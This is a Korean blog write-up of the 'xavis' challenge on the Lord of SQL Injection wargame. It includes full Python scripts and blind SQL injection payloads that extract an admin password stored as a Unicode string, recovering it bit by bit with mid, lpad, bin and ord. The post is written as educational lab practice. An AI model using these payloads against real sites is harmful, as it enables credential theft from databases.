LoS - Xavis

IKKI·2019년 12월 21일
0

LoS

목록 보기
1/4

이번문제는 여태까지의 문제와 유형이 많이 달라서 많은 고민과 많은 write up을 참고하여 문제를 풀게 되었다.
먼저 이번글에서 나올 SQL의 String관련 함수들은 아래의 링크를 참고하여 확인하길 바란다.
https://dev.mysql.com/doc/refman/8.0/en/string-functions.html

먼저 이 문제의 풀이를 보지않고 힌트만을 원하는 사람을 위해 힌트를 제공하자면

  • HINT : UNICODE
    위와 같다. 이 문제는 여태까지 나온 Blind SQL Injection문제와는 다르게 비밀번호가 UNICODE 문자열로 이루어져 있다.

나는 이번 문제를 풀면서 총 3가지의 정보를 얻어야 했다.

  • admin에 해당하는 password의 길이.
  • password의 bit길이.
  • password전체

password의 길이 구하기

먼저 password의 길이 구하기 이다.
password의 길이 같은 경우는 문자열 필터링이 거의 없다 시피 하여서 굉장히 간단하게 구할 수 있다.

&pw="' or id='admin' and length(pw)="+str(i)+" %23"

저 str(i) 부분에 for문을 이용하여 1부터 계속 길이값을 늘려가며 대입하여 admin계정의 pw길이를 구할 수 있다.

Python Code

#Find pw len
    for i in range(20):
        sql.setData(pw="' or id='admin' and length(pw)="+str(i)+" %23")
        sql.load("payload : "+str(i))
        sql.run(out=False)
        if "Hello admin" in  sql.result:
            pwlen=i
            break
    sql.log("pwlen -> "+str(pwlen))

OUTPUT

 [%] payload : 12
 [+] pwlen -> 12

Password의 bit크기 구하기

아마도 이 글을 보게되는 가장 큰이유는 이부분이라고 생각된다. 여태까지의 LOS문제는 분명히 for문으로 ascii값을 돌리면 풀렸는데 왜 이건 안되는걸까?같은 느낌으로.

나는 여기까지 오는데 확장ASCII code, Unicode까지 다 for문을 돌리면서 삽질을 했다.(물론 UNICODE는 초반에 포기했다.) 결국 write up을 보게 되었고, 정답은 UNICODE가 맞았지만 방대한 UNICODE를 하나하나 for문을 돌리면서 찾기는 거의 불가능하기때문에 2진수를 이용하는법을 배웠다.

pw찾기에서 2진수를 이용하기위해 먼저 pw가 정말로 unicode인지, 또한 몇bit인지를 알아야 한다. 일반적인 문자가 사용되었다면 8bit(=1byte)겠지만, UNICDE가 사용되었다면 16bit(=2byte) 혹은 그 이상일 수도 있기 때문이다.

다음은 password중 첫번째 문자를 빼내어 password의 bit길이를 구하는 과정이다. bit의 길이를 구하는 이유는 아래의 password구하기에서 알 수 있다.

password의 bit크기를 구하는것은 먼저 mid / substr등의 함수를 이용하여 pw로부터 문자를 하나 뽑고, ord 함수로 뽑은 문자를 10진수 ASCII Code로 표현해준다. 다음으로 bit 함수를 통하여 10진수 ASCII Code로 변환된 문자를 다시 2진수로 바꿔준다. 그리고 마지막으로 length 함수로 2진수의 길이를 구해주고 for문으로 그 길이값을 추출해준다.

Python Code

#get bit len
    for i in range(1,300):
        sql.setData(pw="' or id='admin' and length(bin(ord(mid(pw,1,1))))={bitlen} %23".format(bitlen=i))
        sql.load("payload -> "+str(i))
        sql.run(out=False)
        if "Hello admin" in sql.result:
            bitlen = i
            break
    sql.log("BIT LEN : "+str(bitlen))

OUTPUT

 [%] payload -> 16
 [+] BIT LEN : 16

Password구하기

이쯤에서 2진수를 어떻게, 왜 사용하는지를 알아보자.

먼저, 여태까지는 Blind Sql Injection 문제를 풀때에는 아래와 같은 과정으로 pw를 추출했을 것이다.

for ... range(pwlen)
	for ... range(48,127) # range of ASCII
  		/* 반복횟수는 pwlen * 79 */

위와 같이 문제를 해결할경우, 비밀번호의 길이가 10이라고 가정할 때, 최악의 경우 해당 사이트에 790번의 요청을 하게 된다. 이 방법은 지나치게 많은 반복횟수로 시간과 위험성이 높아진다.

다음으로, 2진수를 통해서 pw를 추출하게 될 경우 다음과 같이 반복횟수가 현저히 낮아지게 되며 거의 모든 문자열을 탐색할 수 있다.

for ... range(pwlen)
	for ... range(1,bit_len+1) # Length of bits
		/* 반복횟수는 bit의 길이 * pwlen */
		/* 여기서 일반적으로 사용되는 문자의bit길이는 8bit */

2진수를 사용하게 될경우 예를들어 11011011 이라는 문자가 있을경우 for을 8번돌려서 해당위치의 값이 1인지 0인지만 파악하면되므로(=1에대해서 true일경우 1을 False일경우 0을 반환하면 되기 때문) 문자열 하나를 추출해내는데 필요한 반복 횟수는 8회 뿐이다. 따라서 UNICODE 인 문자열을 추출하는데 있어서 반복횟수를 줄이고 정확한 탐색이 가능해 지는것이다.

Python Code

#Find PW
    pw = ""
    for pos in range(1,pwlen+1):
        bit=""
        for bitp in range(1,bitlen+1):
            sql.setData(pw="' or id='admin' and mid(lpad(bin(ord(mid(pw,{pos},1))),{bitlen},0),{bitp},1)=1%23".format(pos=pos,bitlen=bitlen,bitp=bitp))
            sql.run(out=False)
            if "Hello admin" in sql.result: #When True
                bit+="1"
            else:                   #When False
                bit+="0"
        pw+=chr(int(bit,2)).replace("\x00", "")
        sql.load("now PW : "+pw)
    sql.log("PW : "+pw.lower())

OUTPUT

 [%] now PW : 우왕굳
 [+] PW : 우왕굳

여기서 주의할 점은 pw의 길이를 구할때는 12자리로 나왔지만 3자리 이후부터는 Null(0x00)값이 나오게 되므로 pw에 문자를 추가할때 Null값을 replace해주어야 한다.

Exploit

def xavis():
    sql.setProb("xavis")
    #Find pw len
    for i in range(20):
        sql.setData(pw="' or id='admin' and length(pw)="+str(i)+" %23")
        sql.load("payload : "+str(i))
        sql.run(out=False)
        if "Hello admin" in  sql.result:
            pwlen=i
            break
    sql.log("pwlen -> "+str(pwlen))
    #get bit len
    for i in range(1,300):
        sql.setData(pw="' or id='admin' and length(bin(ord(mid(pw,1,1))))={bitlen} %23".format(bitlen=i))
        sql.load("payload -> "+str(i))
        sql.run(out=False)
        if "Hello admin" in sql.result:
            bitlen = i
            break
    sql.log("BIT LEN : "+str(bitlen))

    #Find PW
    pw = ""
    for pos in range(1,pwlen+1):
        bit=""
        for bitp in range(1,bitlen+1):
            sql.setData(pw="' or id='admin' and mid(lpad(bin(ord(mid(pw,{pos},1))),{bitlen},0),{bitp},1)=1%23".format(pos=pos,bitlen=bitlen,bitp=bitp))
            sql.run(out=False)
            if "Hello admin" in sql.result: #When True
                bit+="1"
            else:                   #When False
                bit+="0"
        pw+=chr(int(bit,2)).replace("\x00", "")
        sql.load("now PW : "+pw)
    sql.log("PW : "+pw.lower())

    sql.setData(pw=pw.lower())
    sql.run()

OUTPUT

 [%] payload : 12
 [+] pwlen -> 12
 [%] payload -> 16
 [+] BIT LEN : 16
 [%] now PW : 우왕굳
 [+] PW : 우왕굳

 [+] DATA : https://los.rubiya.kr/chall/xavis_04f071ecdadb4296361d2101e4a2c390.php?pw=%EC%9A%B0%EC%99%95%EA%B5%B3

 [*] ANSWER ▽ 
Hello admin
XAVIS Clear!

❉ 해당 스크립트는 그냥 편하게 los를 쓰기위해 직접만든 Library를 적용한것으로 Library없이 적용되지 않으니 일반적인 코드로 바꿔적용하시기 바랍니다~

profile
한걸음

0개의 댓글